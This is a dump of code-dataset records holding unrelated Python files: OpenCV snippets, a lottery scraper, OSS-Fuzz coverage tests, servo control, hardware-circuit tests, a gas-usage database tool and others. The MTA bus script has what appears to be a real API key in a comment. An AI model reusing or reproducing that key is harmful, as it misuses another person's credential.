'shinobu', 'megumin', 'bully',\n 'cuddle', 'cry', 'hug', 'awoo', 'kiss', 'lick', 'pat', 'smug',\n 'bonk', 'yeet', 'blush', 'smile', 'wave', 'highfive', 'handhold',\n 'nom', 'bite', 'glomp', 'slap', 'kill', 'kick', 'happy', 'wink',\n 'poke', 'dance', 'cringe']\n categories['nsfw'] = ['waifu', 'neko', 'trap', 'blowjob']\n #判断类别和类型\n if not (type in types):\n return {'error': '类型错误'}\n if not (category in categories[type]):\n return {'error': '类别错误'}\n return requests.get(f'https://api.waifu.pics/{type}/{category}').json()","repo_name":"Ftbom/mypybot","sub_path":"anime.py","file_name":"anime.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"69966885709","text":"import numpy as np\nimport cv2 as cv\n\nimg = cv.imread('python.png')\ncv.namedWindow('img', cv.WINDOW_AUTOSIZE)\n\npx = img.item(150, 200, 2)\nprint(px, img[150, 200])\n\nimg.itemset((150, 200, 2), 0)\nimg[150, 200, 2] = px\n\nprint(f'shape => {img.shape}')\nprint(f'size => {img.size}')\nprint(f'value type => {img.dtype}')\n\nroi = img[100:300, 100:300]\n\nb, g, r = cv.split(img)\nimg = cv.merge((b, g, r))\nb = img[:, :, 0]\n\ncv.imshow('img', img)\ncv.imshow('roi', roi)\ncv.waitKey(0)\n","repo_name":"AmirCM/opencv_02","sub_path":"core_operation.py","file_name":"core_operation.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"73040977227","text":"def solution(dartResult):\n answer = 0\n temp = []\n bonus = ['S', 'D', 'T']\n i=0\n dartResult =list(dartResult)\n while i ScrapLoterias.MAT:# and lot > SFE: #Si la loteria es VES o NOC y se quiere \n intervalo = 6\n cant_num = 119\n if self.loteria > ScrapLoterias.SFE:\n self.loteria = self.loteria + 1\n if self.horario > ScrapLoterias.VES:\n intervalo = 7\n cant_num = 140\n \n \n for td in td_tags:\n cont = cont + 1\n \n if td.text == '1':\n cant_1 = cant_1 + 1\n if cant_1 == self.horario + 1:\n break\n \n #Quiniela de Santa fe\n pos = self.loteria + 1\n lstNumeros = []\n for i in range(cont + pos, cont+pos+cant_num, intervalo):\n lstNumeros.append(td_tags[i].text)\n \n #print lstNumeros\n numeros = [int(num) for num in lstNumeros]\n \n self.found = len(numeros) == 20\n if self.found:\n self.numeros = numeros\n ","repo_name":"jorgesaw/mate_tpv","sub_path":"mate_tpv/core/scrapping/ScrapLoterias.py","file_name":"ScrapLoterias.py","file_ext":"py","file_size_in_byte":2573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13962576220","text":"import os\nimport json\nimport unittest\nfrom unittest import mock\n\nimport coverage\n\n# pylint: disable=protected-access\n\nTEST_DATA_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)),\n 'test_data')\n\nPROJECT_NAME = 'curl'\nREPO_PATH = '/src/curl'\nFUZZ_TARGET = 'curl_fuzzer'\nPROJECT_COV_JSON_FILENAME = 'example_curl_cov.json'\nFUZZ_TARGET_COV_JSON_FILENAME = 'example_curl_fuzzer_cov.json'\nINVALID_TARGET = 'not-a-fuzz-target'\n\nwith open(os.path.join(TEST_DATA_PATH,\n PROJECT_COV_JSON_FILENAME),) as cov_file_handle:\n PROJECT_COV_INFO = json.loads(cov_file_handle.read())\n\n\nclass GetFuzzerStatsDirUrlTest(unittest.TestCase):\n \"\"\"Tests _get_fuzzer_stats_dir_url.\"\"\"\n\n @mock.patch('coverage.get_json_from_url',\n return_value={\n 'fuzzer_stats_dir':\n 'gs://oss-fuzz-coverage/systemd/fuzzer_stats/20210303'\n })\n def test_get_valid_project(self, mocked_get_json_from_url):\n \"\"\"Tests that a project's coverage report can be downloaded and parsed.\n\n NOTE: This test relies on the PROJECT_NAME repo's coverage report.\n The \"example\" project was not used because it has no coverage reports.\n \"\"\"\n result = coverage._get_fuzzer_stats_dir_url(PROJECT_NAME)\n (url,), _ = mocked_get_json_from_url.call_args\n self.assertEqual(\n 'https://storage.googleapis.com/oss-fuzz-coverage/'\n 'latest_report_info/curl.json', url)\n\n expected_result = (\n 'https://storage.googleapis.com/oss-fuzz-coverage/systemd/fuzzer_stats/'\n '20210303')\n self.assertEqual(result, expected_result)\n\n def test_get_invalid_project(self):\n \"\"\"Tests that passing a bad project returns None.\"\"\"\n self.assertIsNone(coverage._get_fuzzer_stats_dir_url('not-a-proj'))\n\n\nclass GetTargetCoverageReportTest(unittest.TestCase):\n \"\"\"Tests get_target_coverage_report.\"\"\"\n\n def setUp(self):\n with mock.patch('coverage._get_latest_cov_report_info',\n return_value=PROJECT_COV_INFO):\n self.coverage_getter = coverage.OssFuzzCoverageGetter(\n PROJECT_NAME, REPO_PATH)\n\n @mock.patch('coverage.get_json_from_url', return_value={})\n def test_valid_target(self, mocked_get_json_from_url):\n \"\"\"Tests that a target's coverage report can be downloaded and parsed.\"\"\"\n self.coverage_getter.get_target_coverage_report(FUZZ_TARGET)\n (url,), _ = mocked_get_json_from_url.call_args\n self.assertEqual(\n 'https://storage.googleapis.com/oss-fuzz-coverage/'\n 'curl/fuzzer_stats/20200226/curl_fuzzer.json', url)\n\n def test_invalid_target(self):\n \"\"\"Tests that passing an invalid target coverage report returns None.\"\"\"\n self.assertIsNone(\n self.coverage_getter.get_target_coverage_report(INVALID_TARGET))\n\n @mock.patch('coverage._get_latest_cov_report_info', return_value=None)\n def test_invalid_project_json(self, _):\n \"\"\"Tests an invalid project JSON results in None being returned.\"\"\"\n coverage_getter = coverage.OssFuzzCoverageGetter(PROJECT_NAME, REPO_PATH)\n self.assertIsNone(coverage_getter.get_target_coverage_report(FUZZ_TARGET))\n\n\nclass GetFilesCoveredByTargetTest(unittest.TestCase):\n \"\"\"Tests get_files_covered_by_target.\"\"\"\n\n def setUp(self):\n with mock.patch('coverage._get_latest_cov_report_info',\n return_value=PROJECT_COV_INFO):\n self.coverage_getter = coverage.OssFuzzCoverageGetter(\n PROJECT_NAME, REPO_PATH)\n\n def test_valid_target(self):\n \"\"\"Tests that covered files can be retrieved from a coverage report.\"\"\"\n with open(os.path.join(TEST_DATA_PATH,\n FUZZ_TARGET_COV_JSON_FILENAME),) as file_handle:\n fuzzer_cov_info = json.loads(file_handle.read())\n\n with mock.patch('coverage.OssFuzzCoverageGetter.get_target_coverage_report',\n return_value=fuzzer_cov_info):\n file_list = self.coverage_getter.get_files_covered_by_target(FUZZ_TARGET)\n\n curl_files_list_path = os.path.join(TEST_DATA_PATH,\n 'example_curl_file_list.json')\n with open(curl_files_list_path) as file_handle:\n expected_file_list = json.loads(file_handle.read())\n self.assertCountEqual(file_list, expected_file_list)\n\n def test_invalid_target(self):\n \"\"\"Tests passing invalid fuzz target returns None.\"\"\"\n self.assertIsNone(\n self.coverage_getter.get_files_covered_by_target(INVALID_TARGET))\n\n\nclass IsFileCoveredTest(unittest.TestCase):\n \"\"\"Tests for is_file_covered.\"\"\"\n\n def test_is_file_covered_covered(self):\n \"\"\"Tests that is_file_covered returns True for a covered file.\"\"\"\n file_coverage = {\n 'filename': '/src/systemd/src/basic/locale-util.c',\n 'summary': {\n 'regions': {\n 'count': 204,\n 'covered': 200,\n 'notcovered': 200,\n 'percent': 98.03\n }\n }\n }\n self.assertTrue(coverage.is_file_covered(file_coverage))\n\n def test_is_file_covered_not_covered(self):\n \"\"\"Tests that is_file_covered returns False for a not covered file.\"\"\"\n file_coverage = {\n 'filename': '/src/systemd/src/basic/locale-util.c',\n 'summary': {\n 'regions': {\n 'count': 204,\n 'covered': 0,\n 'notcovered': 0,\n 'percent': 0\n }\n }\n }\n self.assertFalse(coverage.is_file_covered(file_coverage))\n\n\nclass GetLatestCovReportInfo(unittest.TestCase):\n \"\"\"Tests that _get_latest_cov_report_info works as intended.\"\"\"\n\n PROJECT = 'project'\n LATEST_REPORT_INFO_URL = ('https://storage.googleapis.com/oss-fuzz-coverage/'\n 'latest_report_info/project.json')\n\n @mock.patch('logging.error')\n @mock.patch('coverage.get_json_from_url', return_value={'coverage': 1})\n def test_get_latest_cov_report_info(self, mocked_get_json_from_url,\n mocked_error):\n \"\"\"Tests that _get_latest_cov_report_info works as intended.\"\"\"\n result = coverage._get_latest_cov_report_info(self.PROJECT)\n self.assertEqual(result, {'coverage': 1})\n mocked_error.assert_not_called()\n mocked_get_json_from_url.assert_called_with(self.LATEST_REPORT_INFO_URL)\n\n @mock.patch('logging.error')\n @mock.patch('coverage.get_json_from_url', return_value=None)\n def test_get_latest_cov_report_info_fail(self, _, mocked_error):\n \"\"\"Tests that _get_latest_cov_report_info works as intended when we can't\n get latest report info.\"\"\"\n result = coverage._get_latest_cov_report_info('project')\n self.assertIsNone(result)\n mocked_error.assert_called_with(\n 'Could not get the coverage report json from url: %s.',\n self.LATEST_REPORT_INFO_URL)\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"Fimics/android12_pixel4xl","sub_path":"external/oss-fuzz/infra/cifuzz/coverage_test.py","file_name":"coverage_test.py","file_ext":"py","file_size_in_byte":6800,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"69911923787","text":"perguntas ={\n 'pergunta 1':{\n 'pergunta':'quanto é 2+2?',\n 'respostas':{'a':'1','b':'4','c':'5',},\n 'resposta_certa':'b',\n },\n 'pergunta 2':{\n 'pergunta':'quanto é 3*2?',\n 'respostas':{'a':'4','b':'10','c':'6',},\n 'resposta_certa':'c',\n },\n}\nrespostas_certas = 0\n\nfor pk, pv in perguntas.items():\n print(f'{pk}: {pv[\"pergunta\"]}')\n\n print('Escolha sua resposta:')\n for rk, rv in pv['respostas'].items():\n print(f'[{rk}]: {rv}')\n resposta_usuario = input('Sua resposta: ')\n print()\n\n if resposta_usuario == pv['resposta_certa']:\n respostas_certas += 1\n\nquant_perguntas = len(perguntas)\nporcent_acertos= respostas_certas / quant_perguntas * 100\nprint( f'Você acertou {respostas_certas} perguntas, totalizando {porcent_acertos}% das perguntas')\n","repo_name":"GTMacieira/python","sub_path":"Seção3/Aula21/Sistema_oerguntas_respostas.py","file_name":"Sistema_oerguntas_respostas.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70175185549","text":"from gpiozero import Servo\nfrom time import sleep\nimport time\nfrom gpiozero.pins.pigpio import PiGPIOFactory\nimport serial\nimport struct\n\n# initialize serial port\nser = serial.Serial(\"/dev/ttyAMA0\", 115200, timeout=1)\n\n# initialize the servo pin\nfactory = PiGPIOFactory()\nservo = Servo(25, min_pulse_width=0.5/1000, max_pulse_width=2.4/1000, pin_factory=factory)\n\n# initial position at 90 deg\nservo.value=0\n\n# reset serial input\nser.reset_input_buffer()\nprint(\"uart connected\")\n\nstart = time.time()\n\nwhile True: \n \n while time.time()-start > 0.005:\n while ser.in_waiting:\n \n # reads the angle\n data_in = struct.unpack('f', ser.read(4))\n angle = data_in[0]\n # print(angle[0])\n\n # convert the range of angle(-180, 180) (data_in min, data_in max) into (-1, 1) (servo_value min, servo_value max)\n servo_angle = ((angle+180)/(360))*(2)+(-1)\n servo.value = servo_angle\n print(servo_angle)\n sleep(0.005)\n \n \n \n \n# if (data_in > 187) and (data_in < 97):\t\t\t# If in the center, good\n# servo.value = 0\n# else:\n# sleep(0.005)\n# angle = ((data_in)/(180))*(2)+(-1)\n# servo.value = angle\n# #set start time\n# print(\"servo\", angle)\n# sleep(0.005)\n# # otherwise keep polling\n","repo_name":"jereifej/AccCam","sub_path":"CV/servotrack.py","file_name":"servotrack.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32518952113","text":"def nameList(list):\n i = 0\n while i < len(list):\n newName = list[i]\n print('Date: 09/27/2016\\n\\nDear:', newName, '\\nI am having a Halloween party on October 31st at my place.'\n 'My address is 2130 Fulton Street, San Francisco, CA 94117.\\nPlease let me know if you can make it.\\n \\n'\n 'Your Name\\n=============================')\n i += 1\n\ndef main():\n l = ['Tom','Jerry','David','Susan','Kay']\n nameList(l)\n\nmain()\n","repo_name":"MeilingLiu1997/Python","sub_path":"in_class/personalized_invitations.py","file_name":"personalized_invitations.py","file_ext":"py","file_size_in_byte":460,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70049203470","text":"from ..engineobject import EngineObject\nfrom .query import to_object_list, to_set, to_object\n\ndef role(role: str):\n \"\"\" role\n\n returns a set of all the engine objects with a given role.\n\n :param role: the role\n :type role: str\n \n :rtype: set of ids \n \"\"\"\n return EngineObject.get_role_set(role)\n\ndef any_role(roles: str):\n \"\"\" role\n\n returns a set of all the engine objects with a given role.\n\n :param role: the role\n :type role: str\n \n :rtype: set of ids \n \"\"\"\n roles = roles.split(\",\")\n if len(roles)==0:\n return set()\n ret = role(roles[0])\n for r in roles[1:]:\n ret = ret | role(r)\n return ret\n\ndef all_roles(roles: str):\n \"\"\" role\n\n returns a set of all the engine objects with a given role.\n\n :param role: the role\n :type role: str\n \n :rtype: set of ids \n \"\"\"\n roles = roles.split(\",\")\n if len(roles)==0:\n return set()\n ret = role(roles[0])\n for r in roles[1:]:\n ret = ret & role(r)\n return ret\n\n\ndef add_role(set_holder, role):\n linkers = to_object_list(to_set(set_holder))\n for so in linkers:\n so.add_role(role)\n\ndef remove_role(set_holder, role):\n linkers = to_object_list(to_set(set_holder))\n for so in linkers:\n so.remove_role(role)\n\ndef has_role(so, role):\n so = to_object(so)\n if so:\n return so.has_role(role)\n return False\n\ndef has_roles(so, roles):\n so = to_object(so)\n if so:\n roles = roles.split(\",\")\n for role in roles:\n if not so.has_role(role):\n return False\n return True\n\ndef get_race(id_or_obj):\n races = [\"kralien\", \"arvonian\", \"torgoth\", \"skaraan\", \"ximni\"]\n for test in races:\n if has_role(id_or_obj, test):\n return test\n return None\n","repo_name":"artemis-sbs/sbs_utils","sub_path":"sbs_utils/procedural/roles.py","file_name":"roles.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"11277630737","text":"import csv\nimport json\nimport sys\nimport urllib2\n\nif __name__=='__main__':\n # mykey=bf2e26d8-4233-43e8-b9a6-378b4b2a8b59\n url = 'http://api.prod.obanyc.com/api/siri/vehicle-monitoring.json?key=%s&VehicleMonitoringDetailLevel=calls&LineRef=%s' % (sys.argv[1], sys.argv[2])\n request = urllib2.urlopen(url)\n data = json.loads(request.read())\n SD = data['Siri']['ServiceDelivery']\n VMD = SD['VehicleMonitoringDelivery']\n VA = VMD[0]['VehicleActivity']\n \n with open(sys.argv[3], 'wb') as csvFile:\n writer = csv.writer(csvFile)\n headers = ['Latitude','Longitude','Stop Name','Stop Status']\n writer.writerow(headers)\n \n for s in VA:\n Latitude = s['MonitoredVehicleJourney']['VehicleLocation']['Latitude']\n Longitude = s['MonitoredVehicleJourney']['VehicleLocation']['Longitude']\n if s['MonitoredVehicleJourney']['OnwardCalls'] == {}:\n StopName = 'N/A'\n StopStatus = 'N/A'\n else:\n StopName = s['MonitoredVehicleJourney']['OnwardCalls']['OnwardCall'][0]['StopPointName']\n StopStatus = s['MonitoredVehicleJourney']['OnwardCalls']['OnwardCall'][0]['Extensions']['Distances']['PresentableDistance']\n writer.writerow([Latitude,Longitude,StopName,StopStatus])\n ","repo_name":"Ann16253470/PUI2015_jz2308_hw2","sub_path":"get_bus_info.py","file_name":"get_bus_info.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22015839217","text":"import magma as m\nfrom magma.testing import check_files_equal\nimport logging\nimport pytest\nimport coreir\n\n\nclass And2(m.Circuit):\n name = \"And2\"\n io = m.IO(I0=m.In(m.Bit), I1=m.In(m.Bit), O=m.Out(m.Bit))\n\n\n@pytest.mark.parametrize(\"target,suffix\",\n [(\"verilog\", \"v\"), (\"coreir\", \"json\")])\ndef test_simple_def(target, suffix):\n m.config.set_debug_mode(True)\n m.set_codegen_debug_info(True)\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I=m.In(m.Bits[2]), O=m.Out(m.Bit))\n and2 = And2()\n\n m.wire(io.I[0], and2.I0)\n m.wire(io.I[1], and2.I1)\n m.wire(and2.O, io.O)\n\n\n m.compile(\"build/test_simple_def\", main, output=target)\n assert check_files_equal(__file__, f\"build/test_simple_def.{suffix}\",\n f\"gold/test_simple_def.{suffix}\")\n\n # Check that the subclassing pattern produces the same annotations\n class Main(m.Circuit):\n io = m.IO(I=m.In(m.Bits[2]), O=m.Out(m.Bit))\n\n and2 = And2()\n m.wire(io.I[0], and2.I0)\n m.wire(io.I[1], and2.I1)\n m.wire(and2.O, io.O)\n\n # Create a fresh context for second compilation.\n m.compile(\"build/test_simple_def_class\", Main, output=target)\n m.set_codegen_debug_info(False)\n m.config.set_debug_mode(False)\n assert check_files_equal(__file__, f\"build/test_simple_def_class.{suffix}\",\n f\"gold/test_simple_def_class.{suffix}\")\n\n\n@pytest.mark.parametrize(\"target,suffix\",\n [(\"verilog\", \"v\"), (\"coreir\", \"json\")])\ndef test_for_loop_def(target, suffix):\n m.config.set_debug_mode(True)\n m.set_codegen_debug_info(True)\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I=m.In(m.Bits[2]), O=m.Out(m.Bit))\n and2_prev = None\n for i in range(0, 4):\n and2 = And2()\n if i == 0:\n m.wire(io.I[0], and2.I0)\n m.wire(io.I[1], and2.I1)\n else:\n m.wire(and2_prev.O, and2.I0)\n m.wire(io.I[1], and2.I1)\n and2_prev = and2\n\n m.wire(and2.O, io.O)\n\n\n m.compile(\"build/test_for_loop_def\", main, output=target)\n m.set_codegen_debug_info(False)\n m.config.set_debug_mode(False)\n assert check_files_equal(__file__, f\"build/test_for_loop_def.{suffix}\",\n f\"gold/test_for_loop_def.{suffix}\")\n\n\n@pytest.mark.parametrize(\"target,suffix\",\n [(\"verilog\", \"v\"), (\"coreir\", \"json\")])\ndef test_interleaved_instance_wiring(target, suffix):\n m.config.set_debug_mode(True)\n m.set_codegen_debug_info(True)\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I=m.In(m.Bits[2]), O=m.Out(m.Bit))\n and2_0 = And2()\n and2_1 = And2()\n\n m.wire(io.I[0], and2_0.I0)\n m.wire(io.I[1], and2_0.I1)\n m.wire(and2_0.O, and2_1.I0)\n m.wire(io.I[1], and2_1.I1)\n and2_2 = And2()\n m.wire(and2_1.O, and2_2.I0)\n m.wire(io.I[0], and2_2.I1)\n\n m.wire(and2_2.O, io.O)\n\n\n m.compile(\"build/test_interleaved_instance_wiring\", main, output=target)\n m.set_codegen_debug_info(False)\n m.config.set_debug_mode(False)\n assert check_files_equal(__file__, f\"build/test_interleaved_instance_wiring.{suffix}\",\n f\"gold/test_interleaved_instance_wiring.{suffix}\")\n\n\ndef test_unwired_ports_warnings(caplog):\n caplog.set_level(logging.WARN)\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I=m.In(m.Bits[2]), O=m.Out(m.Bit))\n and2 = And2()\n\n m.wire(io.I[1], and2.I1)\n\n\n m.compile(\"build/test_unwired_output\", main, \"verilog\")\n assert check_files_equal(__file__, f\"build/test_unwired_output.v\",\n f\"gold/test_unwired_output.v\")\n assert caplog.records[-2].msg == \"main.And2_inst0.I0 not connected\"\n assert caplog.records[-1].msg == \"main.O is unwired\"\n\n\ndef test_2d_array_error(caplog):\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I=m.In(m.Array[2, m.Array[3, m.Bit]]),\n O=m.Out(m.Bit))\n and2 = And2()\n\n m.wire(io.I[1][0], and2.I1)\n\n\n try:\n m.compile(\"build/test_unwired_output\", main, output=\"verilog\")\n assert False, \"Should raise exception\"\n except Exception as e:\n print(str(e))\n assert str(e) == \"Argument main.I of type Array[(2, Array[(3, Out(Bit))])] is not supported, the verilog backend only supports simple 1-d array of bits of the form Array(N, Bit)\" # noqa\n\n\nclass XY(m.Product):\n x = m.Bit\n y = m.Bit\n\n\n@pytest.mark.parametrize(\"target,suffix\",\n [(\"verilog\", \"v\"), (\"coreir\", \"json\")])\n@pytest.mark.parametrize(\"T\", [m.Bit, m.Bits[2], m.Array[2, m.Bit], XY])\ndef test_anon_value(target, suffix, T):\n\n class And2(m.Circuit):\n name = \"And2\"\n io = m.IO(I0=m.In(T), I1=m.In(T), O=m.Out(T))\n\n class main(m.Circuit):\n name = \"main\"\n io = m.IO(I0=m.In(T), I1=m.In(T),\n O=m.Out(T))\n and2 = And2()\n\n m.wire(io.I0, and2.I0)\n m.wire(io.I1, and2.I1)\n tmp = T()\n m.wire(and2.O, tmp)\n m.wire(tmp, io.O)\n\n\n type_str = str(T).replace(\"[\", \"(\").replace(\"]\", \")\")\n m.compile(f\"build/test_anon_value_{type_str}\", main, target)\n assert check_files_equal(__file__, f\"build/test_anon_value_{type_str}.{suffix}\",\n f\"gold/test_anon_value_{type_str}.{suffix}\")\n\n\nif __name__ == \"__main__\":\n test_simple_def(\"coreir\", \"json\")\n","repo_name":"phanrahan/magma","sub_path":"tests/test_circuit/test_define.py","file_name":"test_define.py","file_ext":"py","file_size_in_byte":5565,"program_lang":"python","lang":"en","doc_type":"code","stars":224,"dataset":"github-code","pt":"82"} +{"seq_id":"28076384919","text":"import networkx as nx\n\n\nVISUALIZATION_CONFIG = {\n 'requirements': ['d3', 'datagramas'],\n 'visualization_name': 'datagramas.circlepack',\n 'figure_id': None,\n 'container_type': 'svg',\n 'data': {\n 'tree': None,\n },\n 'options': {\n 'background_color': None,\n 'fit_labels': False,\n 'allowed_events': ['node_selection_enter', 'node_selection_exit', 'node_click']\n },\n 'variables': {\n 'width': 960,\n 'height': 500,\n 'padding': {'left': 0, 'top': 0, 'right': 0, 'bottom': 0},\n 'node_padding': 0,\n 'node_value': 'value',\n 'node_opacity': 0.25,\n 'node_children': 'children',\n 'node_id': 'id',\n 'node_label': None,\n 'font_size': 14,\n 'node_border': 1,\n 'node_border_color': 'rgb(31, 119, 180)',\n 'label_leaves_only': True,\n # < 0: paint only leaves.\n 'color_level': -1,\n },\n 'colorables': {\n 'node_color': {'value': 'parent.id', 'scale': 'ordinal', 'palette': 'husl', 'n_colors': 15, 'legend': False}\n },\n 'events': {\n 'node_click': None,\n 'node_selection_enter': None,\n 'node_selection_exit': None\n }\n}\n\n\ndef PROCESS_CONFIG(config):\n if config['data']['tree'] is not None:\n tree = config['data']['tree']\n\n if type(tree) not in (nx.DiGraph, nx.MultiDiGraph, nx.OrderedDiGraph, nx.OrderedMultiDiGraph):\n raise Exception('Circle Pack needs a directed networkx graph as input data.')\n\n if not nx.is_arborescence(tree):\n raise Exception('Circle Pack needs a tree as input.')\n\n if 'root' not in tree.graph:\n raise Exception('Circle Pack needs a \\'root\\' attribute in the graph.')","repo_name":"zorzalerrante/datagramas","sub_path":"datagramas/visualizations/circlepack/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1729,"program_lang":"python","lang":"en","doc_type":"code","stars":131,"dataset":"github-code","pt":"82"} +{"seq_id":"41389393894","text":"from pathlib import Path\n\nfrom text_parser.scripts.antlr4 import Antlr4\nfrom text_parser.scripts.parser import Parser\nfrom text_parser.utils import run\n\n\nclass TestRig:\n\n def __init__(self, parser: Parser):\n if parser.language != 'Java':\n raise AttributeError\n\n self.parser = parser\n\n @property\n def classpath(self) -> str:\n classpath_lines = (\n str(Antlr4.jar_path),\n str(self.parser.dir)\n )\n return '-classpath {}'.format(';'.join(classpath_lines))\n\n def run_test_rig(self, input_path: Path) -> None:\n if self.parser.is_recompiled:\n self.compile_java_parser()\n self.start_test_rig(input_path)\n\n def start_test_rig(self, input_path: Path) -> None:\n print('Запуск интерфейса визуализации разбора...')\n with input_path.open() as input_file:\n run(\n f'java {self.classpath} org.antlr.v4.gui.TestRig {self.parser.grammar.name} {self.parser.grammar.root_rule} -encoding=utf-8 -gui',\n stdin=input_file,\n timeout=None)\n\n def compile_java_parser(self) -> None:\n print('Компиляция Java-классов...')\n java_files_mask = self.parser.dir / '*.java'\n run(f'javac {Antlr4.classpath()} {java_files_mask.absolute()}', timeout=15)\n","repo_name":"daihaminkey/atlr4-grammar-compiler","sub_path":"text_parser/scripts/test_rig.py","file_name":"test_rig.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"26285396370","text":"#!/usr/bin/env python3\n\"\"\" SQLAlchemy model.\n\"\"\"\nfrom db import DB\nfrom models import Usage1\nfrom sqlalchemy.exc import DataError\nimport readline\n\n\nclass Attr:\n \"\"\" Class to manage GasDB attributes on insert.\n \"\"\"\n def __init__(self, **kwargs):\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n\nclass GasDB:\n \"\"\" Interface for communicating with the `gas_usage` database.\n \"\"\"\n def add_usage_refill_N(self):\n \"\"\" Collect field data.\n \"\"\"\n # attr = {}\n\n use_case: str = input('use_case: ')\n duration_minute: int = int(input('duration_minute: '))\n heat_level: str = input('heat_level: ')\n day_time: str = input('day_time: ')\n\n use_date = input('use_date: ')\n use_date = use_date if use_date else None\n\n # attr.update(use_case=use_case, duration_minute=duration_minute, heat_level=heat_level)\n\n # define attributes to be saved, one-time;\n # no other attributes are allowed to be added hereafter\n attr = Attr(use_case=use_case, duration_minute=duration_minute, heat_level=heat_level, day_time=day_time, use_date=use_date)\n\n inp = input(f'\\n{attr.__dict__}\\n\\nDo you want to save this data? y or n: ')\n\n while inp == 'n' or inp == '':\n print('\\nEnter your changes. Format:\\n\\tkey1=value1,Key2=value2')\n changes = input('\\nEnter changes: ')\n\n if changes:\n # parse input in a form that Dict.update can take\n parsed_changes_tmp = changes.split(',')\n parsed_changes = [tuple(item.split('=')) for item in parsed_changes_tmp]\n\n invalid_attrs = []\n for k, v in parsed_changes:\n # save all valid attributes, collecting invalid ones\n if hasattr(attr, k):\n setattr(attr, k, v)\n else:\n invalid_attrs.append(k)\n if invalid_attrs:\n print(f'\\nInvalid attributes: {invalid_attrs}')\n\n inp = input(f'\\n{attr.__dict__}\\n\\nDo you want to save this data? y or n: ')\n\n if inp == 'y':\n print('Collation complete! Next...')\n db = DB()\n try:\n db.add_usage(Usage1, **attr.__dict__)\n except DataError as exc:\n print(f'ERROR:', exc.orig)\n else:\n print('Not saved: invalid response input')\n\n\ngasdb = GasDB()\ngasdb.add_usage_refill_N()\ninp = input('\\nDo you want to save more records? y or n: ')\nwhile inp == 'y':\n gasdb.add_usage_refill_N()\n inp = input('\\nDo you want to save more records? y or n: ')\n\n'''\n id = Column(Integer, primary_key=True)\n use_case = Column(String(255), nullable=False)\n duration_minute = Column(Integer, nullable=False)\n heat_level = Column(Enum('low', 'average', 'high'))\n day_time = Column(Enum('morning', 'afternoon', 'evening'))\n use_date = Column(TIMESTAMP, default=datetime.utcnow)\n'''\n\n\n'''\n\"\"\"DB module\n\"\"\"\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.orm.session import Session\nfrom sqlalchemy.exc import InvalidRequestError\nfrom sqlalchemy.orm.exc import NoResultFound\nfrom typing import Dict\nfrom user import User\nimport sqlalchemy\nimport bcrypt\n\nfrom user import Base\n\n\nclass DB:\n \"\"\"DB class\n \"\"\"\n\n def __init__(self) -> None:\n \"\"\"Initialize a new DB instance\n \"\"\"\n self._engine = create_engine(\"sqlite:///a.db\", echo=False)\n Base.metadata.drop_all(self._engine)\n Base.metadata.create_all(self._engine)\n self.__session = None\n\n @property\n def _session(self) -> Session:\n \"\"\"Memoized session object\n \"\"\"\n if self.__session is None:\n DBSession = sessionmaker(bind=self._engine)\n self.__session = DBSession()\n return self.__session\n\n def add_user(self, email: str, hashed_password: str) -> User:\n \"\"\" Creates and returns a new User.\n \"\"\"\n # create a user object\n user = User(email=email, hashed_password=hashed_password)\n # retrieve a database session\n sess = self._session\n # save User to database\n sess.add(user)\n sess.commit()\n\n return user\n\n def find_user_by(self, **kwargs: Dict) -> User:\n \"\"\" Filters User objects based on kwargs, and returns the first.\n \"\"\"\n sess = self._session\n\n # InvalidRequestError will be raised for non-existent attributes\n try:\n if not kwargs:\n raise Exception\n user = sess.query(User).filter_by(**kwargs).first()\n except Exception:\n raise InvalidRequestError\n\n if user is None:\n raise NoResultFound\n\n return user\n\n def update_user(self, user_id: int, **kwargs: dict) -> None:\n \"\"\" Updates a User record.\n \"\"\"\n sess = self._session\n\n try:\n user = self.find_user_by(id=user_id)\n except NoResultFound:\n raise ValueError\n\n # User object exists based on ID\n for k, v in kwargs.items():\n if not hasattr(user, k):\n # attribute non-existent\n raise ValueError\n\n # else attribute exists; update\n setattr(user, k, v)\n sess.add(user)\n sess.commit()\n'''\n","repo_name":"coldplayz/Utility_C-functions","sub_path":"gasdb/gasdb.py","file_name":"gasdb.py","file_ext":"py","file_size_in_byte":5452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11250434919","text":"import bert\nfrom tensorflow import keras\nfrom nlp_tools import save_file, load_file\nfrom os import path\nfrom tensorflow.keras.callbacks import ModelCheckpoint\n\nbertdata_file = 'bertdata.pkl'\nmodel_dir = path.join(path.dirname(path.abspath(__file__)), 'uncased_L-12_H-768_A-12')\nmodel_ckpt = path.join(model_dir, 